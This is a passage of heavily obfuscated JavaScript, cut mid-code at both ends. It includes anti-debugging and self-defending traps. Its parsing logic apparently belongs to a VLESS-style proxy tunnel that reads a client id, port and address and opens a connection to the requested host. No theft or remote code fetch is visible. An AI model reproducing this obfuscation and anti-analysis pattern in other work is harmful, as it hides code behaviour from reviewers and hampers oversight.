_0x222c(_0x3ae9e2-0x168,_0x267e6a);}function _0x2ff91a(_0x2fa4df,_0x2d5ef6,_0x128dfa,_0x5f2dcf,_0x1ed3d0){return _0x222c(_0x1ed3d0-0x382,_0x2d5ef6);}function _0x570f86(_0x328671,_0x57b76c,_0x39f1be,_0x5ab763,_0x4adaeb){return _0x222c(_0x5ab763- -0xc9,_0x57b76c);}function _0x237352(_0x27c7b9,_0x4fb426,_0xa489a,_0x533521,_0x1d2f34){return _0x222c(_0x27c7b9- -0x295,_0x533521);}const _0x5186e9={'CLxJL':function(_0x174521,_0x4e51f9){return _0x174521(_0x4e51f9);},'sEXRC':function(_0x47e55c,_0x304d65){return _0x47e55c+_0x304d65;},'vPGKz':_0x237352(-0x203,-0x2d5,-0x1b1,-0x11e,-0x1d8)+_0x237352(-0x72,-0x12,-0xf5,-0xc6,-0x14b)+_0x2ff91a(0x3ac,0x3ce,0x49a,0x47f,0x455)+_0x2ff91a(0x44f,0x4d3,0x3dc,0x4c2,0x45c),'TTiuI':_0x608687(-0x20,-0x38,0x8d,-0xc5,-0xbc)+_0x608687(-0x3d,-0x4c,0x80,-0x22,0x77)+_0x570f86(0x4a,0xb2,0xb9,0x4a,0x5)+_0x570f86(0x11d,0xec,0x168,0x13c,0xe0)+_0x19cc71(0x280,0x2ec,0x309,0x245,0x1ef)+_0x608687(-0xa0,-0x16f,-0x14e,-0xee,0x1)+'\x20)','YyzBo':function(_0x3fd5d6,_0x145fea){return _0x3fd5d6!==_0x145fea;},'liNNj':_0x608687(0x21,0x5b,0x60,-0x5a,-0xc8),'ZtWnq':function(_0x40dedb,_0x579930){return _0x40dedb===_0x579930;},'pGfic':_0x2ff91a(0x407,0x4fd,0x4b4,0x455,0x49b),'JOvwt':_0x570f86(0x82,0x58,0x78,0xc7,0xdf)+_0x237352(-0xfd,-0x2e,-0x60,-0xce,-0x18c)+_0x608687(-0x108,-0x1bb,-0xe1,-0xed,-0x1cd),'IgZqH':_0x570f86(0x1b,0xf5,-0xb7,0x4,-0x11)+'er','HHIYV':function(_0x3281b8){return _0x3281b8();},'fwptI':function(_0x442173,_0x163537){return _0x442173===_0x163537;},'AFQdy':_0x19cc71(0x405,0x3c5,0x42b,0x3c5,0x300),'EGhZe':_0x237352(-0x1d1,-0x1b3,-0x20a,-0x266,-0x1f7)};let _0x460d02=!![];return function(_0x23b1fb,_0x5bea40){const _0x4ef3c3={'hLqPS':_0x5186e9[_0x2c608f(-0x224,-0x1b8,-0xb5,-0x179,-0xa5)],'LEbOf':_0x5186e9[_0x2c608f(-0xa7,-0x64,-0x8,-0xc1,-0xe0)],'RExtq':function(_0x36abf9){function _0x3a6869(_0x1f6ded,_0x6e3a20,_0x1c712,_0x5e2b93,_0x25a8c9){return _0x2c608f(_0x1f6ded-0x1ac,_0x6e3a20-0x1de,_0x1c712-0xa3,_0x5e2b93- -0x1d1,_0x25a8c9);}return _0x5186e9[_0x3a6869(-0x3c3,-0x29e,-0x33e,-0x32e,-0x23f)](_0x36abf9);}};function _0x130cc0(_0x28523e,_0x37ac41,_0x46edaa,_0x4a3eff,_0x2357ad){return _0x237352(_0x46edaa- -0x138,_0x37ac41-0x66,_0x46edaa-0x3a,_0x2357ad,_0x2357ad-0x33);}function _0x2c608f(_0x5aeefc,_0x508c15,_0x31febe,_0x2f9456,_0xc3f468){return _0x237352(_0x2f9456-0x8f,_0x508c15-0xa7,_0x31febe-0xef,_0xc3f468,_0xc3f468-0x1d2);}function _0x4cd69c(_0x2f64ef,_0x3d09f6,_0x5c2aaa,_0x9d422e,_0x2d6659){return _0x19cc71(_0x2f64ef-0xf6,_0x3d09f6-0x73,_0x5c2aaa-0x71,_0x5c2aaa-0x1d3,_0x2d6659);}function _0x300ab1(_0x5eb7c0,_0x1aa2f0,_0x37acbd,_0xe8d84b,_0x89da59){return _0x19cc71(_0x5eb7c0-0x1c0,_0x1aa2f0-0x1be,_0x37acbd-0x185,_0x89da59- -0x190,_0x5eb7c0);}function _0x48b8ea(_0x46b6f8,_0x47d45e,_0x1afc7a,_0x224ce8,_0x1954a4){return _0x570f86(_0x46b6f8-0xfa,_0x1954a4,_0x1afc7a-0xef,_0x47d45e-0x387,_0x1954a4-0xb2);}if(_0x5186e9[_0x2c608f(-0x35,-0x88,-0x13a,-0x9c,-0x103)](_0x5186e9[_0x130cc0(-0x2d3,-0x41d,-0x349,-0x31a,-0x2ca)],_0x5186e9[_0x4cd69c(0x4ca,0x445,0x3e5,0x39d,0x347)]))return function(_0x5a41db){}[_0x48b8ea(0x4a0,0x463,0x548,0x4af,0x3ab)+_0x300ab1(0x28,-0x3a,0xd6,0xd9,0x9d)+'r'](_0x4ef3c3[_0x130cc0(-0x1d2,-0x134,-0x175,-0x14c,-0x1c4)])[_0x2c608f(-0x38,0xae,0xcf,-0xf,-0xa9)](_0x4ef3c3[_0x300ab1(0x156,0x15d,0xb7,0x1eb,0x144)]);else{const _0x2277f4=_0x460d02?function(){function _0x2401aa(_0x2b6833,_0x4b79ca,_0x31a993,_0xe8033,_0x334706){return _0x2c608f(_0x2b6833-0x1cc,_0x4b79ca-0x49,_0x31a993-0x58,_0x334706-0x229,_0xe8033);}function _0x3c2a18(_0x5a95ec,_0x587d1e,_0x39e62c,_0xfa1821,_0x522fa){return _0x4cd69c(_0x5a95ec-0x62,_0x587d1e-0xf3,_0x39e62c- -0x77,_0xfa1821-0xd2,_0x587d1e);}function _0x50cbbd(_0x1a3960,_0x5e2e55,_0x4eba15,_0x58019e,_0x40c53e){return _0x130cc0(_0x1a3960-0x145,_0x5e2e55-0x1b1,_0x5e2e55-0x5ce,_0x58019e-0x1ee,_0x4eba15);}function _0x4e7947(_0x45c3fd,_0x547ae3,_0x550ac9,_0x43e80c,_0x4966d8){return _0x4cd69c(_0x45c3fd-0x165,_0x547ae3-0x20,_0x550ac9- -0xf3,_0x43e80c-0x4c,_0x547ae3);}function _0x5966bf(_0x424dbb,_0x200755,_0x6b382,_0x2ac986,_0x46bc6a){return _0x2c608f(_0x424dbb-0x105,_0x200755-0x3b,_0x6b382-0x100,_0x424dbb-0x1ba,_0x6b382);}const _0x22a4a1={'kcOBP':function(_0x24e26c,_0xdad72f){function _0x5639a6(_0x20c4b6,_0x4df758,_0x83e411,_0x47ac48,_0x53a311){return _0x222c(_0x4df758-0x99,_0x83e411);}return _0x5186e9[_0x5639a6(0x211,0x1be,0x192,0xdc,0x24d)](_0x24e26c,_0xdad72f);},'UGzxM':function(_0xa58f7f,_0x23a6ad){function _0x37e16e(_0x1b8800,_0x8a743d,_0x16ed08,_0x310d7f,_0x5ed0b2){return _0x222c(_0x16ed08-0x69,_0x1b8800);}return _0x5186e9[_0x37e16e(0x1e3,0x7d,0x123,0x173,0x1be)](_0xa58f7f,_0x23a6ad);},'SQFha':_0x5186e9[_0x50cbbd(0x2e3,0x28a,0x302,0x2ca,0x296)],'rcsmG':_0x5186e9[_0x50cbbd(0x280,0x2d5,0x392,0x27d,0x29d)]};if(_0x5186e9[_0x2401aa(0x2a2,0x20c,0x2e6,0x300,0x21e)](_0x5186e9[_0x50cbbd(0x1d4,0x290,0x292,0x2e7,0x355)],_0x5186e9[_0x5966bf(0x43,-0x79,-0x2e,-0x27,0xbd)])){const _0x5da1fd=function(){function _0x21f5a9(_0x566629,_0x4af024,_0x17f5cd,_0x24caf2,_0x85b603){return _0x4e7947(_0x566629-0x1a4,_0x17f5cd,_0x24caf2- -0x385,_0x24caf2-0x55,_0x85b603-0x182);}function _0x26b488(_0x285512,_0x66c63,_0x2c0528,_0xeec007,_0x2f97fc){return _0x50cbbd(_0x285512-0x68,_0x2c0528- -0x57f,_0xeec007,_0xeec007-0x154,_0x2f97fc-0x12d);}let _0x5375cc;try{_0x5375cc=_0x22a4a1[_0x2f1c3d(-0x8a,-0x1ff,-0x18f,-0x14b,-0x216)](_0x2937d6,_0x22a4a1[_0x26b488(-0x26c,-0x274,-0x23c,-0x29e,-0x295)](_0x22a4a1[_0x26b488(-0x1bc,-0x2ae,-0x23c,-0x302,-0x2de)](_0x22a4a1[_0x2f1c3d(-0xdf,-0x202,-0x187,-0x144,-0x169)],_0x22a4a1[_0x26b488(-0x296,-0x2ed,-0x2a7,-0x314,-0x351)]),');'))();}catch(_0x262405){_0x5375cc=_0x55d1dc;}function _0x2f1c3d(_0x37184d,_0x278779,_0x2cefa0,_0x583550,_0x1da5b5){return _0x50cbbd(_0x37184d-0x145,_0x583550- -0x569,_0x2cefa0,_0x583550-0x17c,_0x1da5b5-0x198);}function _0x1a8f86(_0x370014,_0x346c35,_0x2c014e,_0x480f76,_0x2a3339){return _0x4e7947(_0x370014-0x41,_0x370014,_0x2a3339- -0x4d4,_0x480f76-0x85,_0x2a3339-0x19d);}function _0x467577(_0x345385,_0x3e3106,_0x42df17,_0x1e5bac,_0x1b4099){return _0x50cbbd(_0x345385-0x1dd,_0x1e5bac- -0x396,_0x1b4099,_0x1e5bac-0x8e,_0x1b4099-0x7f);}return _0x5375cc;},_0x2295a4=_0x4ef3c3[_0x50cbbd(0x326,0x389,0x304,0x43f,0x2f2)](_0x5da1fd);_0x2295a4[_0x3c2a18(0x3ff,0x359,0x37b,0x354,0x3d6)+_0x50cbbd(0x240,0x2af,0x39e,0x25f,0x277)+'l'](_0x56a47c,-0x7*-0x55+-0xc75*0x2+0x2637);}else{if(_0x5bea40){if(_0x5186e9[_0x2401aa(0xbb,0x1a3,0x15,0x47,0xb7)](_0x5186e9[_0x3c2a18(0x46e,0x4ba,0x4e3,0x414,0x4c8)],_0x5186e9[_0x2401aa(0x234,0x2d3,0x267,0x1c5,0x242)])){const _0xe12e92=_0x5bea40[_0x4e7947(0x516,0x4b6,0x43f,0x38b,0x3d0)](_0x23b1fb,arguments);return _0x5bea40=null,_0xe12e92;}else return _0x132982;}}}:function(){};return _0x460d02=![],_0x2277f4;}};}()),_0x75b4a9=_0x7d8571(this,function(){function _0x21f005(_0x358bff,_0x186eb5,_0x4954bd,_0x5ca7a1,_0xed9ba6){return _0x222c(_0x186eb5- -0xcf,_0xed9ba6);}const _0x16d6bc={};function _0x1246b2(_0x2db16b,_0x221bdc,_0x183b73,_0x31610d,_0x243ff1){return _0x222c(_0x2db16b- -0x290,_0x31610d);}function _0x3e745b(_0x1d7ec6,_0x833c95,_0xc700d8,_0x2c3110,_0x28978e){return _0x222c(_0x1d7ec6- -0x1c2,_0x833c95);}_0x16d6bc[_0x22182c(0x61,0xeb,0x1,0x77,0x71)]=_0x1246b2(-0x4e,0x0,0x81,-0xef,-0xd1)+_0x3e745b(0x2,-0x63,-0x6,-0x3b,-0xd2)+'+$';const _0x15c2a5=_0x16d6bc;function _0x424314(_0x5486ac,_0x48a52c,_0x324a4f,_0x1274bc,_0x37015e){return _0x222c(_0x5486ac- -0x2e5,_0x48a52c);}function _0x22182c(_0x5adafe,_0x1c7d15,_0x37ae8e,_0x3e8694,_0x4c108b){return _0x222c(_0x37ae8e- -0x150,_0x5adafe);}return _0x75b4a9[_0x424314(-0xa7,-0xfd,-0x168,-0x89,0x2b)+_0x21f005(-0xd1,-0x30,-0x48,-0xdc,0x27)]()[_0x22182c(-0x14e,-0x75,-0xad,0x9,0x3b)+'h'](_0x15c2a5[_0x1246b2(-0x13f,-0x1ae,-0xe9,-0xbd,-0x62)])[_0x3e745b(0x7c,-0x35,0x15e,0xeb,0x142)+_0x424314(-0x246,-0x1fa,-0x18c,-0x167,-0x223)]()[_0x1246b2(-0xeb,-0xc9,-0x106,-0x18,-0xac)+_0x424314(-0x220,-0x22a,-0x249,-0x255,-0x223)+'r'](_0x75b4a9)[_0x3e745b(-0x11f,-0x1fd,-0x8a,-0x59,-0x6a)+'h'](_0x15c2a5[_0x1246b2(-0x13f,-0x192,-0x1b2,-0xfa,-0x116)]);});_0x75b4a9();const _0xdd6162=(function(){function _0x1b7e56(_0x565d9d,_0x10be8b,_0x1db0a1,_0x2a9615,_0x58aa3d){return _0x222c(_0x2a9615- -0xc9,_0x1db0a1);}function _0x535ef2(_0x3a5747,_0x4792c5,_0x575458,_0x5e113a,_0x5afd25){return _0x222c(_0x575458-0x2b8,_0x5afd25);}function _0x47b722(_0x34e60e,_0x214a6d,_0x44d11e,_0x101c21,_0xf78db){return _0x222c(_0x44d11e- -0x24d,_0x214a6d);}function _0x312d48(_0x170ce1,_0x2d452b,_0x1e9e77,_0x421523,_0x3e21ad){return _0x222c(_0x3e21ad-0x11a,_0x421523);}const _0x282ffb={'pFaCe':_0x47b722(-0x181,-0x1ec,-0x1a9,-0x23a,-0x19a),'pOQpd':function(_0x2e5532,_0x5efd90){return _0x2e5532(_0x5efd90);},'djRtw':_0x3cfc6d(0x66,0x65,0xdc,0x88,0x91),'bUAtF':_0x47b722(-0x51,-0x39,-0xfa,-0xe8,-0x1d7),'cVTCn':function(_0x3b4db0,_0x3dad4d){return _0x3b4db0+_0x3dad4d;},'lbAPp':function(_0xcab92f,_0x426ab2){return _0xcab92f==_0x426ab2;},'ZSRjq':function(_0x2ce010,_0x3efc49){return _0x2ce010+_0x3efc49;},'ZLSGn':function(_0x5c89d0,_0x118da9,_0x1c28f0,_0x2238c8){return _0x5c89d0(_0x118da9,_0x1c28f0,_0x2238c8);},'vwWMV':_0x1b7e56(-0x4b,0x9d,0xd7,0x1a,0x46)+_0x312d48(0x23a,0x31d,0x2dd,0x3e4,0x2f4),'QPwpg':function(_0x193d1f,_0x3c05f8){return _0x193d1f(_0x3c05f8);},'esxiR':function(_0x4983fa,_0x50c8ac,_0x47abff){return _0x4983fa(_0x50c8ac,_0x47abff);},'OEyyx':_0x1b7e56(-0x4f,0xc1,0xb3,0x1a,0x104)+_0x535ef2(0x508,0x3bb,0x491,0x580,0x47b)+'r:','PIoog':function(_0x1d38fa,_0x483221){return _0x1d38fa!==_0x483221;},'ENUXM':_0x312d48(0x253,0xdf,0x1dc,0x104,0x1c2),'bTZpH':_0x47b722(-0x228,-0x16c,-0x18d,-0x273,-0xe7),'cxfXB':function(_0x5a536d,_0x328336){return _0x5a536d===_0x328336;},'NtuTp':_0x3cfc6d(0x70,-0xb7,-0x6b,0xb,-0x4a),'ELQqV':function(_0x44d3d6,_0x5b067c){return _0x44d3d6===_0x5b067c;},'iiOWN':_0x47b722(-0x170,0x1c,-0x98,0x22,-0x11c)};function _0x3cfc6d(_0x5df056,_0x5ccbb8,_0x4aa519,_0x43fae4,_0x29a057){return _0x222c(_0x29a057- -0x154,_0x5df056);}let _0x22eb26=!![];return function(_0x50be46,_0x43bad9){function _0x33b0a4(_0x18fadf,_0x30c63f,_0x2b75b7,_0x24f0dc,_0x3512d5){return _0x3cfc6d(_0x3512d5,_0x30c63f-0x51,_0x2b75b7-0x71,_0x24f0dc-0x128,_0x18fadf-0x5c);}function _0x11392f(_0x3ecc1f,_0x1bd1e6,_0x29a3c0,_0x3acf01,_0x1c1101){return _0x47b722(_0x3ecc1f-0x2b,_0x3ecc1f,_0x29a3c0-0x561,_0x3acf01-0x17d,_0x1c1101-0x8a);}function _0xf20218(_0x19de30,_0x9f3743,_0x425958,_0x1205ef,_0x4f5804){return _0x535ef2(_0x19de30-0x173,_0x9f3743-0xad,_0x4f5804- -0x517,_0x1205ef-0x105,_0x425958);}function _0x4eb679(_0x3b816b,_0x1932f7,_0x1415e0,_0xddfa2,_0x2a57ea){return _0x1b7e56(_0x3b816b-0x94,_0x1932f7-0x1c1,_0x3b816b,_0xddfa2-0xf4,_0x2a57ea-0x133);}if(_0x282ffb[_0xf20218(-0x161,-0x241,-0x140,-0x296,-0x1d4)](_0x282ffb[_0xf20218(-0xbf,-0x174,-0x194,-0x162,-0x154)],_0x282ffb[_0xf20218(-0x217,-0x6e,-0x153,-0x11b,-0x154)])){const _0x3e9b07=_0x22eb26?function(){function _0x411b77(_0x410e7d,_0x3cfffb,_0x220af8,_0x2b8f6d,_0x1b28ab){return _0x33b0a4(_0x220af8-0x406,_0x3cfffb-0x13c,_0x220af8-0xc7,_0x2b8f6d-0xbd,_0x1b28ab);}function _0x201965(_0x67a9e8,_0x33a516,_0x2aaaf0,_0x44bbeb,_0x773eb7){return _0x11392f(_0x773eb7,_0x33a516-0x139,_0x67a9e8- -0x685,_0x44bbeb-0x1c4,_0x773eb7-0x21);}function _0x5e92f3(_0x4e4c3e,_0x57c64a,_0x40e5ca,_0x1d5ed5,_0x5766e1){return _0x33b0a4(_0x5766e1- -0x284,_0x57c64a-0x6a,_0x40e5ca-0x1dc,_0x1d5ed5-0x136,_0x40e5ca);}const _0x34305b={'drGOn':_0x282ffb[_0x411b77(0x41e,0x33b,0x422,0x446,0x3cb)],'fFEtn':function(_0x4af744,_0x105044){function _0xbac4c8(_0x12fc8e,_0x4b069c,_0x9627e8,_0x373c7f,_0x2343a5){return _0x411b77(_0x12fc8e-0x129,_0x4b069c-0x128,_0x373c7f-0x7d,_0x373c7f-0x91,_0x2343a5);}return _0x282ffb[_0xbac4c8(0x5a8,0x4cd,0x59d,0x562,0x5f9)](_0x4af744,_0x105044);},'ITDzW':_0x282ffb[_0x5c0c41(0x503,0x572,0x51a,0x4a3,0x517)],'eRUXM':_0x282ffb[_0x5c0c41(0x563,0x4d2,0x4b6,0x4a7,0x4bf)],'LszCS':function(_0x55ab82,_0x22aa12){function _0x106af0(_0x584c7e,_0x4cf0ad,_0x1ec564,_0xd50cf2,_0x27ec41){return _0x201965(_0x4cf0ad-0xe6,_0x4cf0ad-0x1b4,_0x1ec564-0xd3,_0xd50cf2-0x10b,_0x27ec41);}return _0x282ffb[_0x106af0(0x4d,-0x83,-0xa1,0x3b,0x1d)](_0x55ab82,_0x22aa12);},'rUHin':function(_0x834a0d,_0x2cf650){function _0x4faab1(_0x3eab21,_0x574b84,_0x258d40,_0x5cc16d,_0x4f143e){return _0x411b77(_0x3eab21-0xdc,_0x574b84-0x1b1,_0x4f143e- -0x439,_0x5cc16d-0x121,_0x5cc16d);}return _0x282ffb[_0x4faab1(0xe4,0x17f,0xe4,-0xc,0x90)](_0x834a0d,_0x2cf650);},'djCCi':function(_0x1ab457,_0x3e0c48){function _0x296fea(_0xab10bb,_0x58a0d3,_0x324572,_0x5885b3,_0x3d2bfb){return _0x201965(_0x58a0d3-0xa2,_0x58a0d3-0x14b,_0x324572-0x75,_0x5885b3-0x17c,_0xab10bb);}return _0x282ffb[_0x296fea(-0xe8,-0xc7,-0xd3,-0xd5,-0x28)](_0x1ab457,_0x3e0c48);},'aytnA':function(_0x12a463,_0x10cb92){function _0x5eceb1(_0x251321,_0xc75e,_0x5448e3,_0x346e1f,_0x2ccec8){return _0x201965(_0x346e1f-0x383,_0xc75e-0xc,_0x5448e3-0x6a,_0x346e1f-0x21,_0x5448e3);}return _0x282ffb[_0x5eceb1(0x27b,0x323,0x34c,0x267,0x335)](_0x12a463,_0x10cb92);},'CuVjr':function(_0x38a62d,_0x5ded7e){function _0x3bbaaa(_0x19bbf2,_0x394392,_0x2789db,_0x17a76f,_0x5402de){return _0x5c0c41(_0x5402de- -0x5c3,_0x394392-0x3a,_0x2789db-0x184,_0x2789db,_0x5402de-0x188);}return _0x282ffb[_0x3bbaaa(-0x134,-0x81,0x5,0xe,-0x53)](_0x38a62d,_0x5ded7e);},'DCpBU':function(_0x3e273f,_0x4c9d44,_0x48d026,_0xc40e6e){function _0x2693b5(_0x1ae9c7,_0x308a50,_0x1db235,_0x556205,_0x35bd47){return _0x411b77(_0x1ae9c7-0x1b3,_0x308a50-0x1e7,_0x308a50- -0x6be,_0x556205-0x1db,_0x556205);}return _0x282ffb[_0x2693b5(-0xc2,-0x162,-0x1df,-0x1a3,-0x16c)](_0x3e273f,_0x4c9d44,_0x48d026,_0xc40e6e);},'xqvBr':_0x282ffb[_0x201965(-0x1b1,-0xe7,-0x176,-0x1a8,-0x17c)],'stdmP':function(_0x2d7f48,_0xc0c4fd){function _0x374c6c(_0x2ac0f6,_0x24011f,_0x544ace,_0x3b79ec,_0x5230e9){return _0x5e92f3(_0x2ac0f6-0x1ed,_0x24011f-0x1b,_0x24011f,_0x3b79ec-0x42,_0x2ac0f6-0x3e1);}return _0x282ffb[_0x374c6c(0x11e,0x1e4,0x191,0x76,0xa8)](_0x2d7f48,_0xc0c4fd);},'MBAXm':function(_0xb5d3c0,_0xdae8d2,_0x36472f){function _0x761dda(_0x18cd2b,_0x262764,_0x4fc80e,_0x5a0bd8,_0x4784a4){return _0x411b77(_0x18cd2b-0x82,_0x262764-0x138,_0x4fc80e-0x36,_0x5a0bd8-0x11b,_0x262764);}return _0x282ffb[_0x761dda(0x52c,0x48d,0x441,0x4a7,0x48f)](_0xb5d3c0,_0xdae8d2,_0x36472f);},'FDrfr':_0x282ffb[_0x201965(-0x13b,-0x106,-0x185,-0x15f,-0xb7)]};function _0x5c0c41(_0x53af84,_0x3381b9,_0x5d9d7c,_0x289e9d,_0x27e88b){return _0x33b0a4(_0x53af84-0x4ad,_0x3381b9-0x9a,_0x5d9d7c-0x13f,_0x289e9d-0x56,_0x289e9d);}function _0x337983(_0x50500b,_0xaa8704,_0x343b7f,_0x18236a,_0x809259){return _0x33b0a4(_0xaa8704-0x7a,_0xaa8704-0x1ec,_0x343b7f-0x67,_0x18236a-0xee,_0x18236a);}if(_0x282ffb[_0x201965(-0x1f2,-0x23e,-0x1dc,-0x1e5,-0x2ad)](_0x282ffb[_0x411b77(0x449,0x2fb,0x38f,0x2d8,0x3fd)],_0x282ffb[_0x201965(-0x135,-0x198,-0xcd,-0x10b,-0x103)])){if(_0x43bad9){if(_0x282ffb[_0x5e92f3(-0x2b8,-0x2c0,-0x293,-0x1ee,-0x1e1)](_0x282ffb[_0x5e92f3(-0x1d9,-0x19d,-0x14a,-0x269,-0x1c3)],_0x282ffb[_0x5c0c41(0x56e,0x4f0,0x5c0,0x624,0x489)])){const _0x5cff73=_0x43bad9[_0x337983(0xfc,0x179,0x229,0x1b3,0x147)](_0x50be46,arguments);return _0x43bad9=null,_0x5cff73;}else{const _0x268914={'PSHak':_0x34305b[_0x337983(0x159,0x12a,0x5a,0xd0,0x131)],'KMlbm':function(_0x60d444,_0x2ced96){function _0x5b8c15(_0x486c1c,_0x4a7e99,_0x36e24f,_0x513e61,_0x1bb348){return _0x201965(_0x1bb348-0x1e6,_0x4a7e99-0x14c,_0x36e24f-0x2c,_0x513e61-0x1a1,_0x36e24f);}return _0x34305b[_0x5b8c15(-0x20,0x57,-0xf,0xcf,0xc0)](_0x60d444,_0x2ced96);},'VzILz':_0x34305b[_0x411b77(0x4bb,0x52b,0x51d,0x4bb,0x51c)],'rVCDs':function(_0x5d3ad0,_0x465d00){function _0x5ae4c1(_0x53d3c5,_0x229e12,_0x32a826,_0x4096e8,_0x1dfaa6){return _0x411b77(_0x53d3c5-0x81,_0x229e12-0x1b4,_0x229e12-0x6f,_0x4096e8-0x121,_0x32a826);}return _0x34305b[_0x5ae4c1(0x5a0,0x5c8,0x625,0x5b5,0x5b9)](_0x5d3ad0,_0x465d00);},'AhSBZ':_0x34305b[_0x337983(0x20b,0x18f,0x1cb,0x1da,0x196)]},[_0x22dc14]=_0x3256a7,_0x1e1225=_0x30ee31[_0x5c0c41(0x515,0x5fd,0x48e,0x5cf,0x42e)](0x1a56+-0xaae+-0xfa7,0x2*-0xf2a+0x1367+0xafe);if(!_0x1e1225[_0x337983(-0x4b,0x99,0xd5,-0x39,0xae)]((_0x17372e,_0x1d24ef)=>_0x17372e==_0xcbbcff(_0x33d190[_0x201965(-0x2c0,-0x1d0,-0x32b,-0x29b,-0x1f7)+'r'](_0x1d24ef*(-0x2242+0x17*-0x30+-0x66e*-0x6),-0x2*0x8c3+0x1*0xa8d+-0x1*-0x6fb),0x384+-0x1f79+0x1c05)))return;let _0x8f06e9=_0x34305b[_0x411b77(0x3fa,0x49a,0x3dc,0x40b,0x357)](_0x5bdd4b[_0x411b77(0x53a,0x3a9,0x46e,0x46b,0x3ec)](-0x205f+-0x1818+0x3888,0x1*-0x1a2b+-0x184a+0x41*0xc7)[_0x5c0c41(0x4c1,0x3d6,0x41e,0x4aa,0x590)+_0x5c0c41(0x49d,0x40a,0x46c,0x46e,0x414)](),-0x1f14+0x40*0x33+0x1267);const _0x298ed8=_0x5a6078[_0x337983(0x1d,0xe2,0x77,0xfa,0xc7)](_0x8f06e9,_0x8f06e9+=0x1974+0xf94+-0xb2*0x3b)[_0x5e92f3(-0x22e,-0x1fb,-0x23c,-0x298,-0x270)+_0x201965(-0x179,-0xb2,-0x10f,-0x1b6,-0x1f7)+'BE'](0xb*0xe9+0x3*-0x907+0x5f*0x2e),_0x1f9617=_0x25afd9[_0x5c0c41(0x515,0x4e0,0x45c,0x519,0x559)](_0x8f06e9,_0x8f06e9+=-0xb46+-0xa99*0x1+0x15e0)[_0x411b77(0x3f7,0x4d8,0x41a,0x508,0x32c)+_0x201965(-0x289,-0x283,-0x2ab,-0x27e,-0x2d0)](),_0x2274ea=_0x34305b[_0x337983(0xbe,0x38,-0xb4,-0x28,0xac)](_0x1f9617,0x9f*0x1d+-0x625*-0x5+-0x30bb)?_0x5b6c0c[_0x5c0c41(0x515,0x538,0x58e,0x534,0x5bf)](_0x8f06e9,_0x8f06e9+=-0x5a8+0x7*-0x49f+-0x1*-0x2605)[_0x201965(-0x17d,-0x120,-0x178,-0x187,-0x9e)]('.'):_0x34305b[_0x5c0c41(0x46b,0x536,0x381,0x3ba,0x4d7)](_0x1f9617,-0x1*0xb7e+0xb3*-0x11+0x1*0x1763)?new _0x509552()[_0x337983(0x7a,0x10f,0x88,0x11f,0x4c)+'e'](_0x4ebf57[_0x5c0c41(0x515,0x496,0x51a,0x4b7,0x5df)](_0x34305b[_0x337983(0x27f,0x1cf,0x1f6,0x1bb,0x1fd)](_0x8f06e9,0x6cd*-0x2+-0xf12+0x1cad),_0x8f06e9+=_0x34305b[_0x337983(0x19f,0x1ca,0x197,0x27e,0x15d)](-0x371*-0x9+-0x19*0x9+-0x1e17*0x1,_0x295a83[_0x337983(0x57,0xe2,0x9b,0x158,0x158)](_0x8f06e9,_0x34305b[_0x201965(-0x2a3,-0x35c,-0x309,-0x352,-0x384)](_0x8f06e9,-0x2*-0x12c1+0x249e+-0x4a1f))[_0x337983(-0x4d,0x8e,0x12c,0x120,0x131)+_0x5e92f3(-0x2be,-0x316,-0x1a4,-0x2c5,-0x294)]()))):_0x34305b[_0x411b77(0x3e3,0x2f3,0x3b5,0x35e,0x3f5)](_0x1f9617,0x655*-0x1+-0x19*-0x47+-0x97)?_0xaf96e0[_0x5c0c41(0x515,0x476,0x590,0x4a0,0x467)](_0x8f06e9,_0x8f06e9+=-0x244a+0xd73+0x16e7*0x1)[_0x411b77(0x490,0x3b4,0x44d,0x4b9,0x488)+'e']((_0x48b1b0,_0x4dd5ab,_0x3d4f06,_0xc6132b)=>_0x3d4f06%(0x2*0x406+-0x1*-0x31d+-0xb27)?_0x48b1b0[_0x201965(-0x2db,-0x3a3,-0x39e,-0x32a,-0x225)+'t'](_0xc6132b[_0x411b77(0x432,0x3ff,0x46e,0x492,0x43d)](_0x3d4f06-(-0x1ad5+0x18ed+0x3*0xa3),_0x3d4f06+(0x947+-0x8af+0x1*-0x97))):_0x48b1b0,[])[_0x337983(0x158,0xaf,0xaa,0xb6,0x7b)](_0x31fe06=>_0x31fe06[_0x5c0c41(0x4c1,0x42b,0x3d1,0x4c6,0x53d)+_0x337983(0x1c5,0x17a,0x111,0xf8,0x245)+'BE'](-0x1*0x1bb0+0x1*-0xfee+0x1*0x2b9e)[_0x337983(0xfb,0x1c0,0x1d0,0x21d,0x177)+_0x5e92f3(-0x24f,-0x28d,-0x354,-0x31e,-0x2dd)](0x1dec+0x200e+-0x3dea))[_0x411b77(0x4e7,0x5f0,0x502,0x489,0x586)](':'):'';_0x34305b[_0x337983(-0x16,0x8a,0xf,0xf5,0x52)](_0x1df197,_0x34305b[_0x5c0c41(0x4ed,0x410,0x580,0x4b8,0x55b)],_0x2274ea,_0x298ed8),_0x597140[_0x337983(0x5a,0x79,-0x3b,-0x3f,0x39)](new _0x224cb5([_0x22dc14,-0x1*-0x275+-0x1246+0xfd1*0x1]));const _0x2fbab6=_0x34305b[_0x201965(-0x20c,-0x2af,-0x188,-0x19f,-0x28e)](_0x5f52b6,_0x373726),_0x314e62={};_0x314e62[_0x201965(-0x113,-0x30,-0x1f1,-0xc6,-0x70)]=_0x2274ea,_0x314e62[_0x5c0c41(0x432,0x520,0x49b,0x379,0x353)]=_0x298ed8;const _0x563d14={};_0x563d14[_0x411b77(0x564,0x483,0x56c,0x5df,0x4de)]=_0x2274ea,_0x563d14[_0x411b77(0x328,0x452,0x38b,0x466,0x2f7)]=_0x298ed8,_0x3ae049[_0x411b77(0x3d5,0x327,0x3f3,0x30f,0x396)+'ct'](_0x314e62,function(){function _0x148c51(_0x5604fa,_0x1c08c6,_0x44bc9a,_0x34d238,_0x297a30){return _0x201965(_0x1c08c6-0x5cf,_0x1c08c6-0x84,_0x44bc9a-0x82,_0x34d238-0xf7,_0x44bc9a);}this[_0x45feb4(-0xea,-0x110,-0x15e,-0xe5,-0x20)](_0x54b1f4[_0x45feb4(-0x7e,-0x1e,-0x22,-0x16a,-0x8)](_0x8f06e9));function _0x45feb4(_0x1d2fd3,_0x23339c,_0x59c13b,_0x13caaa,_0x5138e8){return _0x5e92f3(_0x1d2fd3-0x1a,_0x23339c-0x2f,_0x59c13b,_0x13caaa-0x20,_0x1d2fd3-0x19e);}function _0x1be996(_0xca0250,_0x23527f,_0xadab05,_0x3650a0,_0x47e61f){return _0x5c0c41(_0x47e61f- -0x3a1,_0x23527f-0xe9,_0xadab05-0x1a1,_0x23527f,_0x47e61f-0x19);}function 